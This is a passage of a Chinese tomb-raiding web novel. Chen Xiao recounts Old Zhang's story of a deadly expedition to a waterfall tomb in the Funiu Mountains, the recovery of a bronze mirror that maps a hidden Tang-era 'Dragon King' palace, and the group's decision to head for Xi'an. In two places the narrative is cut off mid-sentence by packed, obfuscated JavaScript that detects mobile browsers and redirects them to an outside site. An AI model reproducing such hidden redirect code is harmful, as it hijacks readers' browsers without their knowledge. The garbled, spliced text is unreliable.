二胖话没说完封鬼扭头就走。看来他确实拉不下脸,刚才跟人家闹成那样,这再回去求人办事那不是跟二胖一样成二皮脸了嘛。 “哎!小封,你等等大伙啊。我说你要是舍不下脸去问人家那就只好自己慢慢悟吧。” 二胖追上封鬼一边抹汗一边喘气: “哎,这天真TM热,霍爷我都渴死了,刚才那茶吃的我又苦又涩,亏了你还说是好茶!真是没品啊。我说东子,这哪有卖冰棍儿的啊?” “前面就有,我去买去。” 东子就到前面的小卖部买冰激凌冷饮给几人消暑,看时间还早,又带着他们去了村里的河滩。 到了那儿见几个妇人在岸边儿洗衣服,还有几个小孩子光着屁股玩水。 说是河其实跟小溪流差不多,连脚脖子都没不了。不过河畔的沙石滩上长了两棵香樟树,枝叶茂密树干粗壮,有十几米高。 东子说这两棵树在没有村子的时候就有了,少说也有四五百年。 传说这两棵树是村子里的守护神,只要是哪家嫁女儿生孩子,都要到这两棵老樟树下拜神,保佑他们多子多孙。 几人在村子里来回逛了两个多钟头,觉得时间应该差不多了,就回到了老张的家里。 这时候二人明显已经说完了话,陈晓正自己一个人坐在院子里发呆,也不知道在想什么,鸦门叫了他好几声才搭理。 “怎么样?你和老张谈完了?”陈老四忙着问。陈晓站了起来,拍拍屁股对众人说: “嗯,我们走吧。” 一路上陈晓都没有开口,陈老四憋得慌,解鸦门憋得慌,二胖更是憋得慌。封鬼倒是没什么,他此时正有了新鲜的玩具,拿着那颗舍利子在想事情,倒跟陈晓一样的沉默。 到了东子的饭店之后陈老四终于是憋不住了,就拉着陈晓问: “老张有没有说我二哥是怎么病的?一年前他们在长沙老宅争抢的那个包裹里装的是什么?” “那……” “我说要不咱边吃饭边说吧,这走了一上午了我都饿得眼冒金星了!” 二胖打断谈话,东子也跟着附和,于是大家又到了昨天的那个包间,已经做好的饭菜很快就被端了上来。 除了二胖和东子,其他人都没什么胃口,随便吃了两口菜就放下筷子等陈晓开口。陈晓理了理思路,就开始把老张告诉他的事讲给大家听。 陈晓说老张毕竟岁数大了有点儿老糊涂,给他讲的时候有点儿前言不搭后语,他自己消化整理了一下,就按着自己的叙述顺序说给大伙听。 他说这一切故事的开始还得从他太爷爷陈癞子说起。 12. 【12】伏牛山古墓 当年陈癞子说自己是地府的阴司,因为醉酒误放了三千恶鬼于人间作祟,如来佛祖派他投胎做人将那三千恶鬼尽数杀回地府。 这话没人信,都当他是胡说。 陈三水最初也对陈癞子的话不屑一顾,别看他平日对老头子毕恭毕敬鞍前马后,可心里就是对陈癞子让他大哥继承家业的事不服。 他觉得陈老大不论才学胆识都不如自己,是个十足的窝囊废,这陈家要是交在他手里那也就算完了。 等陈癞子带着一家人搬迁到了北京,开始做起了玉石黄金的买卖,没几年就在京城站稳了脚跟。 到后来生意越做越大,开了分号给两个儿子打理,他就发现这两个人的能力实在是差之千里,根本不是一个级别的。 有天晚上陈癞子就避开其他人把陈三水叫到身边,开始老泪纵横抱怨老天不长眼。 陈三水不知道老头子这是演的哪出,就问爹你这是怎么了,有什么事就跟儿子我说,我一定帮爹解决难题。 陈癞子抹了把老脸拉住陈三水的手,用从来没有过的慈爱目光看着他,说你爹我这辈子坏事做绝,没干过什么积德行善的事,唯一感到自豪与欣慰的就是有你这么个好儿子。 爹知道你一直都不服我把当家之位传给你大哥,可这也是没办法的事情啊,那是祖上传下来的规矩,当家之位只有长子才能继承,要是破了祖宗的规矩那是要天打雷劈遭报应啊。 陈三水没有做声,就听陈癞子接着往下说。 他说自己以前说的那阴司杀恶鬼的话不是胡说,是千真万确的。 只是佛祖这个人够狠啊,明明是可以自己轻而易举的解决那多出来的三千人命,却非要推给陈癞子。 这可是借刀杀人啊,如果他陈癞子真的杀满了三千人头,为佛祖办成事之后,佛祖肯定是要杀人灭口的,别说修成正果,就是地狱都没有他的容身之所。 所以他只杀了两千九百九十七人,还留了三个人没杀。他怕自己死后下了地狱那些恶鬼找自己索命,就到处寻找长生不老之术,盗墓摸金是一方面,最主要的还是去古墓里寻找长生不老药。 功夫不负有心人,陈癞子经过了二十多年的苦苦寻找,翻阅了无数的古代文献,盗掘上百处古墓,终于让他发现一些线索。 虽然史书上记载包括秦始皇在内没有任何一个帝王得到长生不老药,可唐朝的一位王爷却得到了。 只是那位王爷命薄,在药还没有炼成的时候就死了。 根据他从古墓里发现的文献记载,长生不老药给那个王爷当了陪葬品,就葬在古都长安的某处。 只是要找到那王爷的陵墓,必须先要找到一幅地图。而那幅地图就在那位为他炼丹的风水术士的墓中。 陈癞子对陈三水说那个炼丹术士的墓就在河南伏牛山中,他已掌握了确切的地理位置,要带一批人去河南一趟。可这事他大哥做不了,只有他才有这个能耐。 陈三水听完这些话,想了半天,就问他爹自己要是帮他有什么好处。 他爹就说你不是想要当家之位吗,我可以给你,只是不能明着给,得要你自己暗里去抢。 等找到长生不老药,他就将这三千人头的债务转给陈三水,要他假借厉鬼作祟之名除掉他大哥一家,也算满了三千人头。 陈三水说爹你可真毒啊,俗话说虎毒不食子,你竟然为了自己能长生不老连亲生儿子都可以出卖。 陈癞子说凡成就大事者,至亲亦可杀。你应该庆幸老子看上你果敢狠绝的性子,愿意与你共享长生不老之术。 于是父子二人密谋了整整一个晚上,准备动身出发去河南。 陈晓讲到这里停下,喝了两口水润嗓子。饭桌上的人早已经是瞠目结舌了,脸色那是一个比一个还要难看。 封鬼心说这陈癞子果然是杀人不眨眼的鬼霸王啊,为了自己的利益连亲生儿子都不放过。 二胖听得入神,一边儿啃猪蹄一边儿催陈晓继续说。 “我去!这陈癞子他娘的就是一大魔头啊!这要是搁在现代的法治社会,那他早就被处决不知道多少次了。我看小陈你就是个好同志,没有因为基因遗传而变得堕落。” 二胖说话不把风,封鬼本来是想阻止的,心说你当着人家的面儿骂人太爷爷人还不跟你翻脸。 可是见陈晓并没有任何的动容,估计他也看不惯那个太爷爷的所作所为。 陈晓顿了顿,见除了二胖没有其他人再想发表意见的,全都是目光如炬的盯着自己,只好叹了口气接着往下说。 陈癞子找了一支十一人的队伍,包括老张在内,打着生物学研究的幌子,装备齐全,就这么大摇大摆的进入了伏牛山南麓。 伏牛山属秦岭山系,是秦岭东段最大的一条支脉,以花岗岩地貌为主,多瀑布溶洞。 陈三水就问这样的地貌可能会有墓吗?而且也从来没听说过伏牛山有古墓被盗啊,会不会是爹你的信息有误,我们不是要白跑一趟吧。 陈癞子听完儿子的话干笑两声,拿出玉烟嘴儿的旱烟抽了几口,看着雾气弥漫的深山老林就说你他娘的懂个屁,你老子我一辈子倒斗无数,高原坟沙漠陵火山洞海底墓,什么样的古墓没有挖过? 这地方既然不是黄土地貌,就不能按常规的办法,洛阳铲肯定用不上,我自然也没叫人带。既然伏牛山多溶洞,我推测这墓肯定是在天然形成的地下洞穴里。 陈三水见老子说的信誓旦旦,也就不再怀疑,就问他怎么才能找到那个古墓。 陈癞子拿出指南针,对照着一幅破旧的牛皮地图向出现在队伍前方的一个山坳指了过去说,就是它了。 老张顺着陈癞子的手指方向看了过去,只见山峦之间有一大片被雾气笼罩的谷地,一眼望去,依稀可见茂密的丛林。 说来也怪,那时候正是河南最热的时节,伏牛山是晴空万里山青水秀啊,站在山头上往四周看去是群山一览无余,可见度与清晰度极高,唯独那片山谷是雾气弥漫,就好像是漫山遍野只有那块地方下了雨一样。 队伍一听陈癞子说古墓就在下面,个个都兴奋异常,经过长时间跋涉而产生的疲惫顿时全无,从山坡上一口气跑到山坳里,身处其中才发现那雾气并没有从远处看到的浓厚。山谷中青草依依蝴蝶翩跹,还有一条溪流自北向南流淌。 陈癞子领着队伍沿溪流一路北上,溪水在半路出现了分岔,变成两条山涧。 源头是一水潭,陡峭的山壁上挂着幅巨大的瀑布,水汽在阳光的照耀下在天空中映出七彩光晕,形成山谷中祥云瑞霭的仙境。 众人看到这奇景一下子都呆了,他们这辈子从来都没见过这么大的彩虹,横跨在山谷之间,首尾各有一处山头,就像是条盘旋在山谷上空的七彩天龙。 看到这巨大的瀑布,大家伙都明白了那雾气是怎么回事,原来是这瀑布落入潭水激起的水汽。 陈癞子让大家就地安营扎寨搭起了帐篷,又安排了人烧水做饭,就带着其他人去四处考察地形。 老张问这里埋的到底是谁,这儿的风水真TM是好到绝了!群峰起伏、藏风聚气,真是个生气流动之山,龙脉聚集之处啊! 如果真的只是埋了个术士,那可真是暴殄天物,在这里就算是埋个皇帝都还绰绰有余啊。 陈癞子摇了摇头,吞了口老痰盯着瀑布就对众人说,虽然这里有条七彩天龙,却极不稳定,若是葬个道僧隐士还算可以,要是帝王那就只能亡国了。 众人忙问是怎么回事,陈癞子抬头看着山谷两边的山峰,说此处有双龙夹护,似迎似送;明堂开阔,平坦圆净;二水交汇于明堂中央,左盘右绕,源源流入南天门。在风水上占足了龙、砂、水、穴、向五大地理要素,是典型的“龙凤呈祥格”,天造地设的祥瑞福地。 伏牛山属秦岭,秦岭又是中华的大地龙脉,然而此处却是帝王不葬的天龙脉,可谓之有形也可谓之无形,显于昼而隐于夜,始于水,却不绝于水;凝水而成雾气,结气映日为光。虽然灵性十足,但过于流动闪烁,缺少收敛浑厚之态。阴阳二气在这里此消彼长,难以调和平衡啊。 陈癞子说完,众人恍然大悟。 在谷中探查了两天,几乎掘地三尺,并没有发现古墓的踪迹。 到了后来,有人开始抱怨,陈癞子站在瀑布前的水潭边儿,抽了足足两杆子的旱烟,大叫一声“着了”!就派人下水。 之前因为完全没有想到山里的古墓会在水下,根本没有准备任何的潜水设备,只好找了队伍里两个水性最好的打先锋。 岸上的人眼巴巴的瞅着深不见底的水潭等了十几分钟,瀑布落水的轰鸣声都震得他们开始耳鸣了,心想这下完了,那两个人肯定是溺水身亡了。 没想到又过了一会儿那两人终于冒出,大伙忙问下面是什么情况,其中一个留小胡子的就说潭底的水冰冷刺骨,而且好像有个无底漩涡,他们浅了五六米就不敢再往下了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391832|168559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 回来的时候就发现石壁有异样,好像有人工修葺的痕迹。 二人摸着岩石找了一会儿,就发现有一片区域是用青石砖砌成的石墙,墙上有个大洞,显然是被人砸穿的,二人进去,里面一片漆黑,水也更加寒冷。 那水洞应该是直的,展开胳膊就能碰到两边的石壁,就好像是墓中的甬道。 二人一阵兴奋,打着手电继续向前游了大约三四分钟,甬道也越来越宽,再一抬头就出了水面,两人看到自己身处一个小水池中,四周是漆黑的空间,喊了两声有回音,空间应该很大,二人不敢再往里走,就回来报信了。 陈癞子听完之后一拍脑门,连说来晚了来晚了。别人都在高兴,陈三水就问他爹你怎么了,陈癞子就说这墓已经被盗了,那水下的石墙显然是被盗墓贼给砸开的,不知道里面有没有被搬空,也许这趟真的是要白跑了。 众人一阵扼腕叹息之后,就说反正来也来了,就算是座空墓也要进去看个明白,哪怕只是弄清墓主人是谁也好啊。 再说这古墓如此古怪隐蔽,里面的明器数量肯定是惊人的,就算去盗也未必会搬空,肯定能捡洋落。 当时除了陈三水,谁也不知道陈癞子来这里是为了长生不老药,于是都兴冲冲的准备下水。 陈癞子叹了口气,心说不管怎么样,这墓一定得进去,说不定之前那帮子人见那地图不值钱,就留下了。 不过也不排除之前进入古墓的是考古队,如果是以研究为目的科研人员进去了,那就彻底没戏了。 大伙合计了一番,考虑了种种可能会遇到的突发情况,就留下一人在上面接应,剩下的八个人背着防水袋里的装备下了水。 陈癞子也是个人物,虽然已经七十多岁高龄,体质却出奇的硬朗,在水下十分灵活,跟壮小伙没什么区别。 队伍很快找到那石洞,一个接着一个钻了进去,如之前两人所说的一样,沿着甬道出了那个小水池。 不知道周围是什么情况,也没敢打开强光矿灯,老张先朝四个方向各投了枚冷烟火。 由于这岩洞实在是太深了,仅凭冷烟火也看不真切,无奈之下,只好冒险打了发照明弹。 照明弹被射到半空足有十来米,好像是撞上块石笋,砰的就炸开了,瞬间就把洞穴照了个通透,老张也趁机把周围的情况看得清清楚楚。 要说这墓怎么埋的是术士呢,想必也是修道高人,石洞中坦荡开阔,压根儿就没有平常古墓的暗室机关,更没有华丽的壁画石雕,整个墓室布置得就像是道士的仙洞一般,不染半点俗尘。 众人皆是一惊,心道这是哪门子的墓啊,简直就是座空洞嘛,连个陪葬品都没有。 就在这时候老张发现,对着水池正前方在一块天然形成的大理岩石阶上,横着口巨大的石棺。 一见到棺椁,这群人就立马围了上去。那石棺是一种白色的石料制成,上面雕着百花和各种飞禽,旁边还刻有一大段的古字,老张看不太懂。 陈癞子叫人打开了矿灯,仔细研究那棺材的质地,只见这种石料白得几近透明,跟羊脂玉差不多,却比羊脂玉更多了几分莹润。 老张对玉石略知一二,见那极好的水头,心道就算整座墓和棺材里面都是空的,只把这口棺材抬出去那也能值几个亿啊。 在场的所有人都倒吸一口气,心想这可是彻底发了,全都贪婪的盯着那口石棺。陈三水一言不发,围着石棺走了一圈,心里纳闷,就说这棺材怎么没有被撬?如果真有人进来,那肯定是棺口大开啊,难不成他们是第一批进入这墓的? 石壁上那个洞只是意外造成的,或者说之前那批人因为遭遇什么变故还没有来得及进来? 陈癞子摇了摇头,表示不可能。他说按照这里的奇异格局,棺材的东南两方会有一对石兽镇守,可现在却没有,那就说明是有人已经拿走了。 陈三水不信,就蹲下去看,果然在地上看到石头被撬凿的痕迹,显然这里之前是有东西的。 有人就问既然拿了石兽为什么没有开棺呢?一个小个子就说或许是他们偶然发现了这座墓却因为装备不足只好回去准备准备然后再回来,就催促大家抓紧升棺发材,别撞上那群人折回来。 陈癞子对于这种猜测没有任何表态,不过他心里高兴啊,这棺材既然没打开,那地图就一定还在。刚才已经观望了周围的地形格局,应该不会有任何的密室夹层,所以这地图一定是跟墓主人一起藏在棺材里。 13. 【13】天丑龙王宫 这时候也不知道是谁叫了一声,众人循声望去,就看见一个戴眼镜的中年男人跪在地上正在看石棺上的古文,然后满脸震惊的看着大家。陈癞子就问这字说的是什么,可记载了墓主人的生平。 那个眼镜男点了点头,一脸严肃的对众人说,如果他没有猜错,这是唐代风水大师李淳风的墓。 李淳风?众人一惊,都说这绝对不可能。 李淳风何许人也?乃唐朝国师袁天罡的徒弟,上晓天文下通地理,作传世经典《推背图》,为一代风水宗师,在朝野中受到三代唐王的重用和拔擢。 对于李淳风之墓据史书上记载多有疑冢,一说长安少陵原,一说岐山凤鸣镇。而在全国范围内,所谓的李淳风墓更是多不胜数:《河南府志》以为在新安县;《畿辅通志》以为在涿州东北向阳里。 孰是孰非,难以定论。 但以往人修志,往往牵强附会,多有舛误,致使后人以讹传讹。真正的李淳风之墓究竟在哪里,谁也无法给出答案。 相传李淳风与袁天罡游遍大江南北,纵观奇山异水,寻龙点穴,就为给自己寻找理想的阴宅。 说来也巧,李袁二人竟选在同一处,相距仅数百米。李对袁说:吾自愧不如汝,吾死后墓将被盗,而汝之墓则可久保无患矣。袁问其因,李答:果报所致也!吾当丞相,积怨甚重,必累及身后。而汝为国师,消灾解难,积功累德,故可保后世无患矣! 今果如李淳风所言,李墓门户洞开,游人也可下至墓室参观。地下墓穴中空空如也,所有遗物早已荡然无存。 传闻诸多,而如今竟然在伏牛山中也出现一座李淳风之墓,实在令人难以相信。 陈癞子不动声色,琢磨着他之前搜集的资料。李淳风既然是同袁天罡一样厉害的相术异士,又怎么可能会算不到自己的墓百年之后被盗,他必然会有破解之法,所以在许多地方埋下疑冢,扰乱世人,而将真墓隐藏在人迹罕至之处。 在唐初洛阳原本就是长安的陪都,李淳风自然也掌握了这里的地理山川,发现伏牛山中的这块风水宝地,选中为自己真正的葬身之所。 仔细想来这一切不是没有可能,而且只有陈癞子知道此处只有一墓,那就是为某个唐朝王爷炼长生不老药的相术之墓。而在那个世代有如此能力为王爷炼丹的除了袁天罡恐怕也就只剩下李淳风了。 不论如何,这都是自己的猜测,而且对于陈癞子来说,他只想得到那幅王爷墓的地图,这墓到底是不是李淳风的对他来说一点儿意义都没有。 众人商议着要想弄清楚墓主人的真实身份,还是要开棺验尸啊。老张问是否会有机关,还是小心为妙。 陈癞子就说从进墓到现在,没有发现任何异样,再说就算有机关,也已经被之前进来的人破了,这棺材里应该只有尸体和最值钱的陪葬品。 洞中空气洁净,卦象也显示大吉,而且得道高人的这种洞葬与苗人邪恶的洞葬不同,墓主人生前就在墓中埋下符咒,按太极八卦排列,以助自己死后飞天,此时应该早已升仙,棺材里只剩下一具骨骸不可能会尸变。 陈癞子的话让众人消除了不少顾虑,再说这里就属他辈分最高,是盗墓的行家,又是风水大师,他的话也最有信服力。 于是大伙动手费了不少功夫才将石棺撬开,挪动棺盖,将巨大的玉石板推到一边儿,只听咣当一声巨响,石板失去支撑点砸在地上,碎成了三段。 众人还没来及为这上好玉石的陨落痛心疾首,就听有人大叫了一声,指着棺材里面色发青吓得后退几步跌倒在地。 其他人赶忙往石棺里看,老张也挤上去伸着脖子努力张望。 到了这里,陈晓停了下来,他说老张和自己说到这儿的时候,整张脸都是白的,他从来没有见过一个人竟然可以在不到一秒之内血色尽失,就像是面粉扑成的一样。 “我说老张到底看见什么了?小陈你赶紧说啊,千万别吊人胃口!”二胖急得坐直身子,陈晓皱了皱眉,缓缓的说: “老张看到棺材里,躺着个栩栩如生的大活人!” “什么?!”二胖一下子就跳了起来。 这怎么可能呢?古墓的棺材里面竟然躺着个大活人?是那种没有腐烂的,没有露出白骨的大活人?! 当时围在石棺周围的所有人看到这一幕,全都吓得瞠目结舌。就算是陈癞子一辈子开棺无数,也从来没有见过如此诡异古怪的情形。 老张说那个画面至今都让他历历在目啊,他一辈子都不会忘记。 只见那棺材里躺着个身着白衣道袍的老者,鹤发童颜,面色红润,恍惚间似乎还见到嘴边的胡须在动。这个老道的身上裹了层透明如蝉翼的薄膜,类似于现代的保鲜膜,却更加有韧性。 陈三水胆子最大,也不顾众人的阻止,掏出一把老式□□刀就将那老道脸上的薄膜划开了一个口子,大家这下看的真切,见他的嘴里含着颗绿色的丹丸。 陈癞子刚要说别动,却来不及了,陈三水已经把那颗丹丸从老道的嘴里取了出来,就见那颗丹丸从他嘴里取出的一瞬间,老道猛然睁开眼,大如铜铃,瞳孔充血,众人都没有反应过来是怎么回事,那人的眼珠子就砰的一下爆开了,顿时腥臭的血浆四溅,喷了陈三水一脸一身。 也就在之后的不到一分钟之内,老道原本鲜活的尸身突然腐化,从眼珠四周扩散,先是脸,然后是脑袋,最后从脖子到身上脚底,只见那溃烂的速度惊人,就如同白蚁蛀木一样很快遍布全身,整个尸体都融化在一团血水白雾之中。 众人惊慌失措,立在原地呆若木鸡,陈癞子暗叫不好,扑上前去抢救,也顾不上棺中腥臭尸液侵蚀皮肤,在里面摸来摸去,终于从尸骨下面摸出一面铜镜,再看自己手背和胳膊已经严重腐蚀,就像是烫伤一样布满了水泡。 老张护主心切拿了水壶就往陈癞子手上浇水,胳膊上顿时起了层雾气,腐蚀好歹止住没有再扩大。 陈三水抹干净脸上的血,走过来问陈癞子这铜镜是怎么回事,陈癞子只是低声说得手了,就把镜子揣进怀里,高声叫大家撤退。 其他人哪里肯甘心啊。心想费了半天功夫就你一人得了明器,我们总不能空手而归吧,就也要去棺材里摸,却没有陈癞子的胆识怕手被那溶液给烧了,只好去打那被摔碎的玉石棺材板的主意。 陈癞子没工夫理他们,叫上陈三水和老张就朝来时的水池走去,刚到水池边儿,就感觉脚底下晃动起来,不一会儿又归于平静。 陈癞子霎时变了脸,冲那帮还在捡石头的人大叫一声快跑!话音刚落,整个大地就又开始剧烈的颤动,头顶的石笋如剑雨一样落了下来。 有个人刚叫完“山洞塌啦!快跑啊!”就被一根巨大的石笋从肩膀穿透身体,吐着血倒在了地上。其他人顿时乱作一团,纷纷丢下石头往水池跑去。 陈癞子父子与老张三人最先出了水潭,等他们上了岸之前的那个人忙过来接应。 只听瀑布后面传来惊天动地的坍塌声,一时间响彻山谷大地悲鸣。老张一下子就明白了,原来那墓穴就在这巨大瀑布的后面,他们开了棺材毁了老道的尸身,触动机关,导致整个墓都塌了。 之后又有两人从水里爬了上来,就见身后那水潭中心的漩涡突然卷动起来,形成一个巨大的漩涡眼,还在水里的几个人根本挣扎不了,一下子就被卷入漩涡里消失得无影无踪了。 陈癞子清点了下人数,逃出来的只有5个人,死了一半,算得上是损失惨重啊。此地不宜久留,这瀑布后面的山体早晚都要坍塌,到时候泉水喷涌而出,整个山谷都要被淹没成湖了。 剩下的六个人收拾了一些必备品就赶紧离开山谷,又走了两天才走出山。回到北京,陈癞子住进了医院,陈三水一直陪着他。 父子两就聊起石棺里那个老道的事。不论他是否李淳风,既然可以保持千年尸身不腐,如同活人一样,肯定是与那长生不老药有关,或许他嘴里含的那颗绿丸就是长生不老药。 陈三水那个悔恨啊,当时事发突然,他一慌就把药丸弄丢了,早知道那是长生不老药应该拼死也要带出来的。 陈癞子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15391833|168559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把铜镜给陈三水仔细观看,陈三水见那铜镜正反两面都刻着图形,正面是八卦图,背面是看不懂的复杂星象图,旁边刻两行小字:天丑龙肆,龙王地宫。 陈癞子说这位天丑龙王就是那个唐代的王爷,历史上是没有记载的,因为这位王爷是唐高祖李渊赐封的异姓王,由于他功高盖主,唐太宗怕他后世会威胁李氏江山,就把他从史书上抹杀了。 根据野史记载,天丑龙王原名龙肆,生于隋末天下大乱之时,乃晋阳一山野匹夫。天生残疾,相貌极其丑陋,半张脸上长有黑鳞,是个半人半兽的怪物。却天赋异禀,聪明绝世,博览全书,通晓天下之事,善奇门遁甲之术,被称为在世诸葛。 有诗云,障一目,醒是非浊清;跛一足,知世道难行;驼一背,晓世事孰轻;毁半面,遮俗尘世垢。聋一耳,聆善恶忠佞。 后来他随李渊起兵,攻占长安,为建国功臣。唐高祖封他为天丑龙王,赐姓李氏。然而封王赐地无非是要夺其兵权削其势力,龙肆多次请求入朝,都被李渊推辞拒绝。 到唐太宗李世民继位,龙肆终于起兵造反,被太宗镇压诛杀。李世民因登基不久怕此事对社稷不利,便对外宣称天丑龙王因病辞世,命人厚葬。 袁天罡对太宗说那龙肆乃三凶星恶龙转世,是隋朝余孽找来灭你李氏江山的。必须杀尽他的宗族,再找一极煞之地镇封恶龙于地下,才能保你大唐万年根基稳固。 于是唐太宗暗中找人毒杀他所有宗族子孙,并让袁天罡与李淳风选了一处极煞之地建墓造陵修成龙王地宫,又搜集天下奇珍异宝做成法器,镇守在地宫之中,设下无数机关暗道,防止后人盗墓。命史官将他除籍抹宗,彻底在史典上消失。 陈三水听完之后十分惊奇,说那地宫之中必定是藏了无数的宝贝啊,可那长生不老药又如何到了他的墓里? 原来这天丑龙肆也不是个凡人,他早就寻访奇人异士为自己炼长生不老药。 等他死后那术士可怜他的悲惨遭遇,就买通修墓匠人将长生不老药藏于墓中某处给他做了陪葬品,也算完成他的遗志,祭慰他在天之灵。 陈三水又就问那龙王宫到底建在哪里,陈癞子就说这地图太过古老繁冗,涉及八卦占星之术,难以破译,要等他研究一段时间才能出结论。 这一研究就是十几年,陈三水以为他爹都要放弃了,直到陈癞子寿终正寝的前两天,把儿子叫到床边,将那面铜镜交给他,说地宫的秘密就在这铜镜之上,他已经破译出了陵墓的地理位置,就刻在铜镜上。 只是时机未到,地宫无法显露于世。必须等到壬辰龙年,五星连珠之时,在阴气最盛的时候才能打开地宫。陈癞子叹道自己是与龙王无缘了,等不到长生不老药。叮嘱儿子一定要把握时机,如果错过,那就只能再等上六十年了。 说完这番话陈癞子一直浑浑噩噩,两天之后郁郁而终。 办完父亲的丧事之后,陈三水就照着铜镜上的位置出发去了趟西安,两星期之后回来一言不发,本本分分做生意,谁也不知道到底是怎么回事。 就这样过了二十多年,陈三水突然把这件事告诉老张,说那面铜镜被藏在了长沙老家的宅子里,就带他去老家取那面铜镜。 两人在屋里发生了争执,原因是老张不想让三爷赴老太爷的后尘,古墓里机关重重,姑且不说那长生不老药是真是假,就算是真的,万一死在墓里吃了又有什么用呢。 这场争执恰好被东子看到,他二人手里争抢的包裹就是那面铜镜。回到北京之后,陈三水给老张看那镜子上的地图,就跟他说要准备去趟西安,可谁想到没出一个月,陈三水就得了怪病,再也起不来了。 之后的事大家都知道了,也不用再说。陈晓长长的吸了口气,在场的所有人都没有说话,陷入了良久的沉思。 “我说,那天丑龙王的地宫入口到底在哪儿啊?老张有没有告诉你啊?”二胖抓住重点,连忙发问。陈晓点了点头,掏出手机,打开电子记事本,上面用手写体写了两行字: 长安县终南山太乙宫汤土村。 14. 【14】封鬼宝血 “长安县终南山太乙宫汤土村。”封鬼看着手机上的那两行字读了出来。长安县在西安啊,这汤土村又是个什么地方?难道说那龙王宫是在一个小村子里?这么多年竟然都没有人发现? 其他人对这个陌生的地名也表现得十分费解,陈晓看了看众人的表情,继续解释说: “老张并没有看到那铜镜上的字,具体位置还是不清楚,我爷爷只告诉他若去天丑龙王宫就要到这个地方。爷爷已经安排了人在村子里接应我们,只要在五星连珠之前到达那里就行了。” “等,等会儿,我没有理清思路。你的意思是说,三爷要老张告诉你这些,然后让你替他去地宫找那长生不老药?三爷昏迷了一年,现在不还躺床上嘛,难道他是早有预谋,在病倒前就策划好了这一切?”封鬼的脑子有点儿乱,越想越觉得情况有点不对劲。 “老张的意思好像就是这样。他说爷爷除了我和老张,谁也不信。”陈晓说完,有些尴尬的看了眼陈老四。陈老四不动声色,装作没有看到接着问道: “那这么说,原本我们只是要去某个古墓里找僵尸给二哥治病,可现在是要去一个机关重重的地宫盗取长生不老药吗?” 陈老四说完大家才想到这势态的严重性。去地宫盗取长生不老药?还是个危机重重堪比秦始皇陵有恶龙镇守的地宫?这要真是去了,那还不是九死一生? “我也不知道这一切到底是怎么回事,可是爷爷的命我是一定要救的。既然有长生不老药,那就一定能治好我爷爷的怪病。不论那天丑龙肆是真是假,我一定要去一趟西安。” 陈晓表现的很决绝,似乎是铁了心谁也劝不了。封鬼不知道他的这番话有多少真多少假,反正老张又没亲口告诉他们,这都是陈晓的转述。 也许他隐藏了一些更关键的信息,或者杜撰了部分故事也说不定。 不过仔细想想他好像没有什么理由骗人,除非他不想找人帮忙救他爷爷,才会把那地宫说得这么危险。 “哎呦,我说,这李世民难道是个傻子吗,啊?他竟然听李淳风的话,给自己的敌人建了这么大一个地宫,还埋了那么多的宝贝在里面。嗯,哎呀,我看啊,那李淳风绝对就是给龙王炼丹的那位,这两人联手是要耍李世民玩儿啊。” 二胖一会儿不说话就憋得慌,可是他这番话倒是引起了封鬼的注意,连解鸦门都点头赞同。 “我也是这么想的,我觉得这里面肯定还有其他的原因。陈晓,你说三爷到底是因为什么病了一年不醒的?老张有没有告诉你?” “没有,他也不知道是怎么搞的。”陈晓摇摇头,表情不像是骗人,这下子谜团更是难以解开了。 “哎?陈晓,老张提到前两天来找他的那帮人了吗?” 封鬼想到最重要的一件事,诡异的故事听得太入迷,差点把它给忘了。 “老张说,那帮子人自称是我爷爷派来的。” “啊?” 陈晓一说,大家都吃了一惊。 “这怎么可能啊?难道他不知道你爷爷根本就没有醒?” “我也是这么问的,可是他说我爷爷做事一向诡秘,以为爷爷早就醒了而没有通知他。而且,最重要的是,那个姓宋的男人说了四十多年前伏牛山古墓的事,很多细节他都一字不落。老张说这件事只有当时那支队伍知道,而其他知情的人后来也全都死光了。所以他们一说那件事是我爷爷亲口告诉他们的,老张就确信无疑,于是就把那个地址也告诉了他们。” “什么?!你是说那帮子人目的真的和我们一样?也是为了救我二哥?” 陈老四反应特别大,一下子就叫了出来。封鬼原本还和二胖怀疑那些人是他派来的,见他这么个激烈的反应,倒是有些迷茫了。 按照常理说,如果那些人真是他派的,此时应该不动声色,至少跟大家一样表现的正常些;可如果不是他派的,他就更不应该会表现的这么激动了。身为一个老江湖,陈老四绝对不可能不知道这些常识啊。 “与其说是救我爷爷,倒不如说他们就是冲着那个龙王墓来的。” 陈晓一字一顿的说,眼中尽是阴沉的算计,让人难以琢磨。封鬼还真没想到这个公子哥竟然会露出那种老谋深算的表情,不愧是陈三水的孙子,不论经过了几代,他的身上毕竟流淌着癞头鬼霸王的血啊。也许之前真是小瞧他了,以后这个人不可不防啊。 “嗯,没错。那龙王墓里有什么啊?除了龙肆的尸体,就是数不尽的财宝,还有长生不老药。不论他们是为了哪一样,之前肯定跟三爷一样得到了这个消息,才来找老张要铜镜上的秘密。 只是还没开口,老张就自以为是的认为他们是三爷派来的,就主动把三爷留给陈晓的地址告诉了他们。不用说,他们现在肯定在去西安的路上。” 胖子在那分析的头头是道,也没有人反驳。陈晓表情凝重,点头说: “这件事不能再耽搁了,我必须立刻动身去西安。” 顿了顿,陈晓看了看封鬼。 “封老板,这趟旅程肯定是危机重重,我不会强求你陪我去西安的。你放心,之前的报酬我一定分文不少。” 